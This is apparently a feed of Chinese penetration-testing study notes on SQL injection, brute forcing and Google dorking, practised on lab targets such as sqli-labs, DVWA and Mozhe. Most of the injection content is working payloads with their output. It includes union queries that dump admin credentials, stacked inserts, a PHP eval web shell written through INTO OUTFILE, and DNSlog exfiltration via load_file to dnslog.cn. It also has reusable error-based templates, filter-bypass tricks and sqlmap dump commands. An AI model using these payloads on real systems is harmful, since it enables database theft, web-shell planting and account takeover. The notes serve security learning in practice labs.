&lt;p&gt;syscolumns:记录数据库所有字段信息。name字段。他的id的值和sysobjects中的id是一一对应的。&lt;/p&gt;
&lt;p&gt;db_name():返回当前数据库名称。类似于database().&lt;/p&gt;
&lt;p&gt;char():将ascii码转化为对应的字符。&lt;/p&gt;
&lt;p&gt;ascii():将字符转化为对应的ascii.&lt;/p&gt;
&lt;p&gt;substring():截取字符串。&lt;/p&gt;
&lt;p&gt;user:当前用户模式&lt;/p&gt;
&lt;p&gt;注意：&lt;/p&gt;
&lt;p&gt;1.联合查询的时候，要用union all ，要写全。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;219.153.49.228:41907/new_list.asp?id=2&apos;
219.153.49.228:41907/new_list.asp?id=2&quot;

219.153.49.228:41907/new_list.asp?id=2 and (select count(*) from sysobjects)&amp;gt;0

219.153.49.228:41907/new_list.asp?id=2 order by 4

219.153.49.228:41907/new_list.asp?id=2 union all select  null,null,null,null

219.153.49.228:41907/new_list.asp?id=-2 union all select  null,null,null,null

219.153.49.228:41907/new_list.asp?id=-2 union all select  1,2,&apos;3&apos;,4

219.153.49.228:41907/new_list.asp?id=-2 union all select  1,db_name(),&apos;3&apos;,4
		mozhe_db_v2
219.153.49.228:41907/new_list.asp?id=-2 union all select  1,user,&apos;3&apos;,4
		dbo

219.153.49.228:41907/new_list.asp?id=-2 union all select  1,name,&apos;3&apos;,4  from mozhe_db_v2..sysobjects where xtype=0x75 and name not in(&apos;manage&apos;,&apos;announcement&apos;) 
		manage,announcement

219.153.49.228:41907/new_list.asp?id=-2 union all select  1,name,&apos;3&apos;,4  from mozhe_db_v2..syscolumns where id=(select id from mozhe_db_v2..sysobjects where name=&apos;manage&apos;) and name not in(&apos;id&apos;,&apos;username&apos;,&apos;password&apos;)
		id,username,password
		
219.153.49.228:41907/new_list.asp?id=-2 union all select  1,username,password,4  from manage where username not in(&apos;admin_mz&apos;)
	admin_mz,72e1bfc3f01b7583	97285101
	


&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;【oracle】&lt;/p&gt;
&lt;p&gt;dual:oracle系统表&lt;/p&gt;
&lt;p&gt;可以判断一下这个表是否存在，如果存在就是一个Oracle数据库&lt;/p&gt;
&lt;p&gt;all_tables表:存放了oracle里面所有的表信息。&lt;/p&gt;
&lt;p&gt;table_name字段：下面存放了其他数据库的表信息。&lt;/p&gt;
&lt;p&gt;all_tab_columns表:存放了oralce里面所有数据库的字段信息。&lt;/p&gt;
&lt;p&gt;column_name字段：下面存放了具体的字段信息。&lt;/p&gt;
&lt;p&gt;rownum=1:类似于mysql中的limit 0,1，一次只能显示一行信息。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://124.70.22.208:43991/new_list.php?id=1 and 1=2

http://124.70.22.208:43991/new_list.php?id=1 order by 2

http://124.70.22.208:43991/new_list.php?id=1 union select &apos;1&apos;,&apos;2&apos; from dual

http://124.70.22.208:43991/new_list.php?id=1 union select table_name,&apos;2&apos; from all_tables where rownum=1 and table_name not in(&apos;TYPE_MISC$&apos;)
		TYPE_MISC$,ICOL$
http://124.70.22.208:43991/new_list.php?id=1 union select table_name,&apos;2&apos; from all_tables where rownum=1 and table_name like &apos;%user%&apos;   and table_name not in(&apos;sns_users&apos;)
		sns_users
		
http://124.70.22.208:43991/new_list.php?id=1 union select column_name,&apos;2&apos; from all_tab_columns where rownum=1 and table_name=&apos;sns_users&apos; and column_name not in(&apos;USER_NAME&apos;,&apos;USER_PWD&apos;)
		USER_NAME,USER_PWD,STATUS
		
http://124.70.22.208:43991/new_list.php?id=1 union select USER_NAME,USER_PWD from &quot;sns_users&quot; where USER_NAME not in(&apos;hu&apos;,&apos;mozhe&apos;,&apos;zhong&apos;)
	hu	1c63129ae9db9g20asdua94d3e00495
	mozhe	8d2cb9759c139bcaf048b314ace9f169	344801
	zhong	1c63129ae9asc60asdua94d3e00495
	
	
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;【access】&lt;/p&gt;
&lt;p&gt;access没有数据库的概念。&lt;/p&gt;
&lt;p&gt;可以直接查表和字段。&lt;/p&gt;
&lt;p&gt;tables，&lt;/p&gt;
&lt;p&gt;表和字段需要去猜出来， 可以使用sqlmap进行爆破。&lt;/p&gt;
&lt;p&gt;admin&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select * from emails INNER JOIN users   左右凭借数据库查询到的信息。

select * from emails INNER JOIN users on emails.id = users.id

select * from users as a INNER JOIN users as b on a.id = b.id

select * from (users as a INNER JOIN users as b on a.id = b.id)

select * from ((users as a INNER JOIN users as b on a.id = b.id) inner join users as c on c.id=a.id   )

--------------------------------------------------------
【偏移注入】
http://192.168.4.178:8001/Production/PRODUCT_DETAIL.asp?id=1429 and 1=1

http://192.168.4.178:8001/Production/PRODUCT_DETAIL.asp?id=1429 order by 22

http://192.168.4.178:8001/Production/PRODUCT_DETAIL.asp?id=1429  UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22  from admin

http://192.168.4.178:8001/Production/PRODUCT_DETAIL.asp?id=1429  UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*  from admin
	22-16=6个字段。
	
http://192.168.4.178:8001/Production/PRODUCT_DETAIL.asp?id=1429  UNION SELECT 1,2,3,4,5,6,7,8,9,10,*  from admin  as a inner join admin as b 
on a.id=b.id

http://192.168.4.178:8001/Production/PRODUCT_DETAIL.asp?id=1429  UNION SELECT 1,2,3,4,5,6,7,8,9,10,b.id,a.login_count,b.login_count,*  from admin  as a inner join admin as b on a.id=b.id
	admin  a48e190fafc257d3

  b.id  a.login_count b.login_count a.password   a.id  a.admin  a.password           a.index


php   =&amp;gt;  mysql
aspx  =&amp;gt;   sqlserver
asp   =&amp;gt;   access
jsp   =&amp;gt;   oracle,mysql

&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>谷歌浏览器搜索语法（信息收集）</title><link>https://wangyi187.top/posts/google-dorks/</link><guid isPermaLink="true">https://wangyi187.top/posts/google-dorks/</guid><description>谷歌浏览器搜索语法（信息收集）</description><pubDate>Tue, 24 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;inurl:.php?id=
查询网址关键字，将含有关键字的网址链接显示出来
intitle:后台登录
针对网页标题回显
site：scu.edu.cn intitle：学号
针对某个学校的域名且标题带有学号的网站
intext：包含关键词的文本
inurl:?file=
      ?filename=
      ?download=
      ?downloadfile=
      ?File=
      ?FileName=
查询下载文件网站的url
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>暴力破解笔记</title><link>https://wangyi187.top/posts/brute-force-notes/</link><guid isPermaLink="true">https://wangyi187.top/posts/brute-force-notes/</guid><description>【暴力破解】 “暴力破解”是一攻击具手段，在web攻击中，一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录，直到得到正确的结果。</description><pubDate>Sun, 15 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;【暴力破解】&lt;/p&gt;
&lt;p&gt;“暴力破解”是一攻击具手段，在web攻击中，一般会使用这种手段对应用系统的认证信息进行获取。            其过程就是使用大量的认证信息在认证接口进行尝试登录，直到得到正确的结果。            为了提高效率，暴力破解一般会使用带有字典的工具来进行自动化操作。&lt;/p&gt;
&lt;p&gt;​            理论上来说，大多数系统都是可以被暴力破解的，只要攻击者有足够强大的计算能力和时间，所以断定一个系统是否存在暴力破解漏洞，其条件也不是绝对的。            我们说一个web应用系统存在暴力破解漏洞，一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略，导致其被暴力破解的“可能性”变的比较高。            这里的认证安全策略, 包括：&lt;/p&gt;
&lt;p&gt;​            1.是否要求用户设置复杂的密码；
​            2.是否每次认证都使用安全的验证码（想想你买火车票时输的验证码～）或者手机otp；
​            3.是否对尝试登录的行为进行判断和限制（如：连续5次错误登录，进行账号锁定或IP地址锁定等）；
​            4.是否采用了双因素认证；
​            ...等等。&lt;/p&gt;
&lt;p&gt;​		【Intruder模块：（暴力破解模块）】&lt;/p&gt;
&lt;p&gt;Attack type:&lt;/p&gt;
&lt;p&gt;1.sniper：狙击手类型。一次只能对一个诸如点进行爆破。从头到尾只用一个字典。&lt;/p&gt;
&lt;p&gt;2.Batterring ram:攻城锤。所有注入点使用相同的字典进行爆破。并且是同时进行的。&lt;/p&gt;
&lt;p&gt;3.Pitchfork：干草叉。一个注入点使用一个字典。但是不能排列组合。&lt;/p&gt;
&lt;p&gt;4.Cluster bomb:集束炸弹。一个注入点可以使用一个字典。并且可以排列组合。&lt;/p&gt;
&lt;p&gt;pyload type:&lt;/p&gt;
&lt;p&gt;Custom iterator:迭代器。可以针对一个注入点使用多个字典进行排列组合的爆破。&lt;/p&gt;
&lt;p&gt;Character substitution:字符替换。&lt;/p&gt;
&lt;p&gt;Case modification:改变英文字符的大小写。&lt;/p&gt;
&lt;p&gt;Null payloads:不是用任何字段，只是单纯不停发包。&lt;/p&gt;
&lt;p&gt;Character blaocks:字符块，可以插入重复的字符或者字符串。&lt;/p&gt;
&lt;p&gt;Copy other payload：可以复制其他人注入点的字典。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;​		token&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/brute-force-notes/987ec401e8-image-20231014144847754.png&quot; alt=&quot;image-20231014144847754&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不要开高并发，并发数改为1即可。。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/brute-force-notes/df0010fc28-image-20231014145750815.png&quot; alt=&quot;image-20231014145750815&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/brute-force-notes/fa25b25ccf-image-20231014145925550.png&quot; alt=&quot;image-20231014145925550&quot; /&gt;&lt;/p&gt;
&lt;p&gt;site:scu.edu.cn        intitle:学号&lt;/p&gt;
&lt;p&gt;查询某个学校和学号相关的信息。&lt;/p&gt;
&lt;p&gt;前端一般只能找到sql注入点，和弱口令。其他漏洞较难找到。最好进入后端。&lt;/p&gt;
&lt;p&gt;intruder模块，除了可以爆破密码，还可以对url文件进行爆破，猜测该目录下是否存在其他文档。如果找不到其他文档，可以继续爆破是否存在其他目录，找到目录之后继续猜测该目录是否存在某个文档。&lt;/p&gt;
</content:encoded></item><item><title>SQL 注入：扩展注入与工具注入</title><link>https://wangyi187.top/posts/sqli-extended-tools/</link><guid isPermaLink="true">https://wangyi187.top/posts/sqli-extended-tools/</guid><description>【pikachu靶场】 1.想办法找到与数据库 交互的点。 2.查看注入点四周是否存在单引号还是双引号，还是什么特殊符号都没有（一般查询语句的注入是什么特殊符号都没有） kobe&apos;</description><pubDate>Wed, 11 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;【pikachu靶场】&lt;/p&gt;
&lt;p&gt;1.想办法找到与数据库 交互的点。&lt;/p&gt;
&lt;p&gt;2.查看注入点四周是否存在单引号还是双引号，还是什么特殊符号都没有（一般查询语句的注入是什么特殊符号都没有）&lt;/p&gt;
&lt;p&gt;kobe&apos;  union select 1,2,database() #&lt;/p&gt;
&lt;p&gt;&apos;% %&apos;&lt;/p&gt;
&lt;p&gt;(&apos;        &apos;)&lt;/p&gt;
&lt;p&gt;((&quot;   &quot;))&lt;/p&gt;
&lt;p&gt;&apos; and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) or &apos;&lt;/p&gt;
&lt;p&gt;and (updatexml(1,concat(0x7e,(select database()),0x7e),1))&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;【堆叠注入】&lt;/p&gt;
&lt;p&gt;同时执行多条 语句，可以用分号；隔开。可以增加，删除，或修改。&lt;/p&gt;
&lt;p&gt;mysqli_multi_query():可以同时执行多条语句。&lt;/p&gt;
&lt;p&gt;mysqli_query():一次只能执行一条语句。&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-38/?id=1&apos;&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-38/?id=1&quot;&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-38/?id=1&apos;  order by 1 --+&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-38/?id=1&apos;  order by 3 --+&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-38/?id=-1&apos;  union select 1,2,database() --+&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-38/?id=1&apos; ; insert into users value(999,&apos;caixukun&apos;,&apos;huozhuzi&apos;)    --+&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-38/?id=1&apos; ; insert into users(username,password) value(&apos;caixukun&apos;,&apos;huozhuzi&apos;)    --+&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=1 ; insert into users(username,password) value(&apos;caixukun&apos;,&apos;huozhuzi&apos;)    --    ----&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;【二次注入】&lt;/p&gt;
&lt;p&gt;注册一个带有特殊符号的账号，然后修改密码。可以把别的账号的密码给改掉。&lt;/p&gt;
&lt;p&gt;update users set password =&apos;qwert&apos; where username=&apos;     admin&apos;      #    &apos;  and password=&apos;xxx&apos;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;【文件读写】&lt;/p&gt;
&lt;p&gt;前提条件：mysql.ini配置文件重要包含参数：secure_file_priv=&lt;/p&gt;
&lt;p&gt;privelige 特权等级    [修改完参数记得重启。]&lt;/p&gt;
&lt;p&gt;1.load_file()		读文件&lt;/p&gt;
&lt;p&gt;2.into outfile  或  into dumpfile   		写入文件&lt;/p&gt;
&lt;p&gt;读&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=-1  union  select 1,2,load_file(&apos;f:\www.txt&apos;)&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=-1  union  select 1,2,load_file(&apos;c:/windows/win.ini&apos;)&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=-1  union  select 1,2,load_file(&apos;/etc/passwd&apos;)&lt;/p&gt;
&lt;p&gt;写&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=-1  union  select 1,2,&apos;you are in&apos;  into outfile &apos;f:/haha.txt&apos;&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=-1  union  select 1,2,&apos;&amp;lt;?php @eval($_GET[&quot;admin&quot;]);   ?&amp;gt;&apos;  into outfile &apos;f:/1.php&apos;&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=-1  union  select 1,2,&apos;&amp;lt;?php @eval($_GET[&quot;admin&quot;]);   ?&amp;gt; &apos;   into dumpfile &apos;f:/www123.txt&apos;  --+&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;【dnslog】&lt;/p&gt;
&lt;p&gt;前提条件：服务器腰得是windows系统，ysql.ini配置文件重要包含参数：secure_file_priv=&lt;/p&gt;
&lt;p&gt;http://www.dnslog.cn/&lt;/p&gt;
&lt;p&gt;select username,password from users where id =1  union select 1,load_file(  concat(&apos;\\&apos;,(select database()),&apos;.2vsr9e.dnslog.cn\1.txt&apos;)  )&lt;/p&gt;
&lt;p&gt;127.0.0.1/sqli-labs/Less-1/?id=1&apos;    union select 1,2,load_file(  concat(&apos;\\&apos;,(select database()),&apos;.ixe7x0.dnslog.cn\1.txt&apos;)  )  --+&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;【绕过方法】要么可以较为轻易得sql注入，要么很难。&lt;/p&gt;
&lt;p&gt;1.空格绕过：	?id=1 union  select 1,database()&lt;/p&gt;
&lt;p&gt;​			%09,%0b,(),/**/&lt;/p&gt;
&lt;p&gt;2.双写绕过（and or  union等）（只删除一次）&lt;/p&gt;
&lt;p&gt;​		anandd, oorr,ununionion&lt;/p&gt;
&lt;p&gt;3.大小写绕过&lt;/p&gt;
&lt;p&gt;​		And,oR,uNiOn&lt;/p&gt;
&lt;p&gt;4.逻辑符号替换&lt;/p&gt;
&lt;p&gt;​		and --&amp;gt;&amp;amp;&amp;amp;&lt;/p&gt;
&lt;p&gt;​		or ---&amp;gt; ||&lt;/p&gt;
&lt;p&gt;5.注释符&lt;/p&gt;
&lt;p&gt;​			#&lt;/p&gt;
&lt;p&gt;​		--+&lt;/p&gt;
&lt;p&gt;​		/**/&lt;/p&gt;
&lt;p&gt;6.编码绕过&lt;/p&gt;
&lt;p&gt;​		hex（十六进制）编码绕过。&lt;/p&gt;
&lt;p&gt;dvwa&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?id=1&apos;
?id=1&apos; order by 2 #
?id=1 &apos;  union  select  1,database() #
 		dvwa
 		
?id=11&apos;  union  select  1,hex(group_concat(table_name)) from information_schema.tables where table_schema=&apos;dvwa&apos; #
 		guestbook,users
 		
?id=11&apos;  union  select  1,0x67726f75705f636f6e636174287461626c655f6e616d6529 from information_schema.tables where table_schema=0x64767761 #
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sqli-labs 26&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://127.0.0.1/sqli-labs/Less-26/?id=1&apos;oorr &apos;
http://127.0.0.1/sqli-labs/Less-26/?id=1&apos;  (oorrder)by (1)   oorr &apos;

http://127.0.0.1/sqli-labs/Less-26/?id=1&apos;   anandd (extractvalue(1,concat(0x7e,(select (user())),0x7e)))  oorr &apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;​		【宽字节注入】&lt;/p&gt;
&lt;p&gt;条件：数据库使用GBK编码，客户端使用UTF-8编码。&lt;/p&gt;
&lt;p&gt;汉字：生僻字 十几万个汉字。&lt;/p&gt;
&lt;p&gt;2个字节的去绑定汉字。-》GBK编码。&lt;/p&gt;
&lt;p&gt;%45    E&lt;/p&gt;
&lt;p&gt;%8f%46     好       EF&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://127.0.0.1/sqli-labs/Less-32/?id=1&apos;   --+
%8f%5c    \

http://127.0.0.1/sqli-labs/Less-32/?id=1%8f&apos;   --+
http://127.0.0.1/sqli-labs/Less-32/?id=1%8f&apos;  order by 3  --+
http://127.0.0.1/sqli-labs/Less-32/?id=-1%8f&apos;  union select 1,2,database()  --+
	security
	
http://127.0.0.1/sqli-labs/Less-32/?id=-1%8f&apos;  union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
	database()
	
http://127.0.0.1/sqli-labs/Less-32/?id=-1%8f&apos;  union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273 --+
		
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;【工具注入】&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;D:\1security\sqlmap\安装包\sqlmap\sqlmap&amp;gt;python sqlmap.py -u  &quot;http://127.0.0.1/sqli-labs/Less-2/?id=1&quot;
	 查看是否存在注入漏洞。
 --current-db  查看当前数据库名称
 --dbs		查看mysql里面的所有数据库。
  --batch	遇到选项，默认选择yes
 --cookie	带上网站cookie
 --purge	清除sqlmap的缓存记录
    
 D:\1security\sqlmap\安装包\sqlmap\sqlmap&amp;gt;python sqlmap.py -u  &quot;http://127.0.0.1/sqli-labs/Less-2/?id=1&quot;   -D security --tables
    	查询security数据库下面的表信息。
    
  D:\1security\sqlmap\安装包\sqlmap\sqlmap&amp;gt;python sqlmap.py -u  &quot;http://127.0.0.1/sqli-labs/Less-2/?id=1&quot;   -D security -Tusers --columns
    	查看security数据库的users表下面的字段信息 。
        
  D:\1security\sqlmap\安装包\sqlmap\sqlmap&amp;gt;python sqlmap.py -u  &quot;http://127.0.0.1/sqli-labs/Less-2/?id=1&quot;   -D security -Tusers -C username,password  --dump    
    	查看字段下面的详细信息。
        
 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;document.cookie		获取网站cookie,按F12在控制台上输入
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>SQL 注入：扩展注入方式</title><link>https://wangyi187.top/posts/sqli-extended/</link><guid isPermaLink="true">https://wangyi187.top/posts/sqli-extended/</guid><description>【pikachu靶场】 1.想办法找到与数据库 交互的点。 2.查看注入点四周是否存在单引号还是双引号，还是什么特殊符号都没有（一般查询语句的注入是什么特殊符号都没有） kobe&apos;</description><pubDate>Tue, 10 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;【pikachu靶场】&lt;/p&gt;
&lt;p&gt;1.想办法找到与数据库 交互的点。&lt;/p&gt;
&lt;p&gt;2.查看注入点四周是否存在单引号还是双引号，还是什么特殊符号都没有（一般查询语句的注入是什么特殊符号都没有）&lt;/p&gt;
&lt;p&gt;kobe&apos;  union select 1,2,database() #&lt;/p&gt;
&lt;p&gt;&apos;% %&apos;&lt;/p&gt;
&lt;p&gt;(&apos;        &apos;)&lt;/p&gt;
&lt;p&gt;((&quot;   &quot;))&lt;/p&gt;
&lt;p&gt;&apos; and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) or &apos;&lt;/p&gt;
&lt;p&gt;and (updatexml(1,concat(0x7e,(select database()),0x7e),1))&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;【堆叠注入】&lt;/p&gt;
&lt;p&gt;同时执行多条 语句，可以用分号；隔开。可以增加，删除，或修改。&lt;/p&gt;
&lt;p&gt;mysqli_multi_query():可以同时执行多条语句。&lt;/p&gt;
&lt;p&gt;mysqli_query():一次只能执行一条语句。&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-38/?id=1&apos;&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-38/?id=1&quot;&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-38/?id=1&apos;  order by 1 --+&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-38/?id=1&apos;  order by 3 --+&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-38/?id=-1&apos;  union select 1,2,database() --+&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-38/?id=1&apos; ; insert into users value(999,&apos;caixukun&apos;,&apos;huozhuzi&apos;)    --+&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-38/?id=1&apos; ; insert into users(username,password) value(&apos;caixukun&apos;,&apos;huozhuzi&apos;)    --+&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=1 ; insert into users(username,password) value(&apos;caixukun&apos;,&apos;huozhuzi&apos;)    --    ----&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;【二次注入】&lt;/p&gt;
&lt;p&gt;注册一个带有特殊符号的账号，然后修改密码。可以把别的账号的密码给改掉。&lt;/p&gt;
&lt;p&gt;update users set password =&apos;qwert&apos; where username=&apos;     admin&apos;      #    &apos;  and password=&apos;xxx&apos;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;【文件读写】&lt;/p&gt;
&lt;p&gt;前提条件：mysql.ini配置文件重要包含参数：secure_file_priv=&lt;/p&gt;
&lt;p&gt;privelige 特权等级    [修改完参数记得重启。]&lt;/p&gt;
&lt;p&gt;1.load_file()		读文件&lt;/p&gt;
&lt;p&gt;2.into outfile  或  into dumpfile   		写入文件&lt;/p&gt;
&lt;p&gt;读&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=-1  union  select 1,2,load_file(&apos;f:\www.txt&apos;)&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=-1  union  select 1,2,load_file(&apos;c:/windows/win.ini&apos;)&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=-1  union  select 1,2,load_file(&apos;/etc/passwd&apos;)&lt;/p&gt;
&lt;p&gt;写&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=-1  union  select 1,2,&apos;you are in&apos;  into outfile &apos;f:/haha.txt&apos;&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=-1  union  select 1,2,&apos;&amp;lt;?php @eval($_GET[&quot;admin&quot;]);   ?&amp;gt;&apos;  into outfile &apos;f:/1.php&apos;&lt;/p&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-2/?id=-1  union  select 1,2,&apos;&amp;lt;?php @eval($_GET[&quot;admin&quot;]);   ?&amp;gt; &apos;   into dumpfile &apos;f:/www123.txt&apos;  --+&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;【dnslog】&lt;/p&gt;
&lt;p&gt;前提条件：服务器腰得是windows系统，ysql.ini配置文件重要包含参数：secure_file_priv=&lt;/p&gt;
&lt;p&gt;http://www.dnslog.cn/&lt;/p&gt;
&lt;p&gt;select username,password from users where id =1  union select 1,load_file(  concat(&apos;\\&apos;,(select database()),&apos;.2vsr9e.dnslog.cn\1.txt&apos;)  )&lt;/p&gt;
&lt;p&gt;127.0.0.1/sqli-labs/Less-1/?id=1&apos;    union select 1,2,load_file(  concat(&apos;\\&apos;,(select database()),&apos;.ixe7x0.dnslog.cn\1.txt&apos;)  )  --+&lt;/p&gt;
</content:encoded></item><item><title>SQL 报错注入常用语句模板</title><link>https://wangyi187.top/posts/error-based-templates/</link><guid isPermaLink="true">https://wangyi187.top/posts/error-based-templates/</guid><description>SQL 报错注入常用语句模板</description><pubDate>Mon, 09 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;报错注入模板

1、寻找注入点

先从网站随便点一下，查找url中带php？id=xxx的页面

之后在php？id=xxx后先加个单引号，如果页面有数据库报错回显说明存在报错注入漏洞，并且可以判断没有双引号

再加个双引号，如果页面依然有数据库报错回显说明该网站不存在特殊符号，如果回复成正常
页面说明存在单引号

2、提取数据库名（此部分无需改动）

①无特殊符号
（url网址）or (updatexml(1,concat(0x7e,(select database()),0x7e),1))

②存在单引号
（url网址）&apos; or (updatexml(1,concat(0x7e,(select database()),0x7e),1)) or &apos;

3、提取数据表名(除了修改30这个数值，其他无需改动）

①无特殊符号

（url网址） or (updatexml(1,concat(0x7e,(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,30)),0x7e),1))

【1，30】先测试一下30这个字符串长度是否可以，如果页面有回显两个“~”，说明是可以的

接着按照这个顺序【1，30】【31，30】【61，30】【91，30】【121，30】【151，30】等，这样查询更换直到输出全部的数据表名

②存在单引号

（url网址）&apos; or (updatexml(1,concat(0x7e,(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,30)),0x7e),1)) or &apos;

4、提取数据列名（需要将数据表名转为16进制填入）

①无特殊符号

（url网址） or  (updatexml(1,concat(0x7e,(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=要查询数据表名的十六进制转换),1,30)),0x7e),1))

譬如：0x61646d696e：是admin的十六进制转换，所以这里填0x61646d696e

【1，30】一样按照数据表名那样一直顺序输入直至得到完整的数据列名

②存在单引号

（url网址）&apos; or  (updatexml(1,concat(0x7e,(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=要查询数据表名的十六进制转换),1,30)),0x7e),1)) or &apos;

5、提取数据信息（需要填入需要查询的数据列名，以及最开始的数据表名）

①无特殊符号

（url网址） or  (updatexml(1,concat(0x7e,(substr((select group_concat(要查询的数据列名1,&apos;---&apos;,要查询的数据列名2) from 查询出这些数据列的数据表名，无需十六进制转换),1,30)),0x7e),1))

 如果有些网站屏蔽掉单引号，&apos;---&apos;可以不写

【1，30】一样按照数据列名那样一直顺序输入直至得到完整的数据信息

②存在单引号

（url网址）&apos; or  (updatexml(1,concat(0x7e,(substr((select group_concat(要查询的数据列名1,&apos;---&apos;,要查询的数据列名2) from 查询出这些数据列的数据表名，无需十六进制转换),1,30)),0x7e),1)) or &apos;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>SQL 注入：报错注入与时间盲注</title><link>https://wangyi187.top/posts/sqli-error-time-blind/</link><guid isPermaLink="true">https://wangyi187.top/posts/sqli-error-time-blind/</guid><description>【报错注入】 and updatexml 1,concat 0x7e, select database ,0x7e ,1 updatexml 1,2,3 第二个参数要写xml路径，</description><pubDate>Thu, 05 Oct 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;【报错注入】&lt;/p&gt;
&lt;p&gt;and (updatexml(1,concat(0x7e,(select database()),0x7e),1))&lt;/p&gt;
&lt;p&gt;updatexml(1,2,3)&lt;/p&gt;
&lt;p&gt;第二个参数要写xml路径，如果填了其他参数，就会报错。如果报错了，就会把第二个参数的结果单做报错的一部分，进行输出。&lt;/p&gt;
&lt;p&gt;concat():可以将多个字段组合成一个字段。&lt;/p&gt;
&lt;p&gt;group_concat():可以将多个字段多行数据，变成一个字段，一行数据。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;http://127.0.0.1/sqli-labs/Less-1/?id=1 &apos;    or  (updatexml(1,concat(0x7e,(select database()),0x7e),1))     or &apos;&lt;/p&gt;
&lt;p&gt;如果有单引号使用如上书写方式&lt;/p&gt;
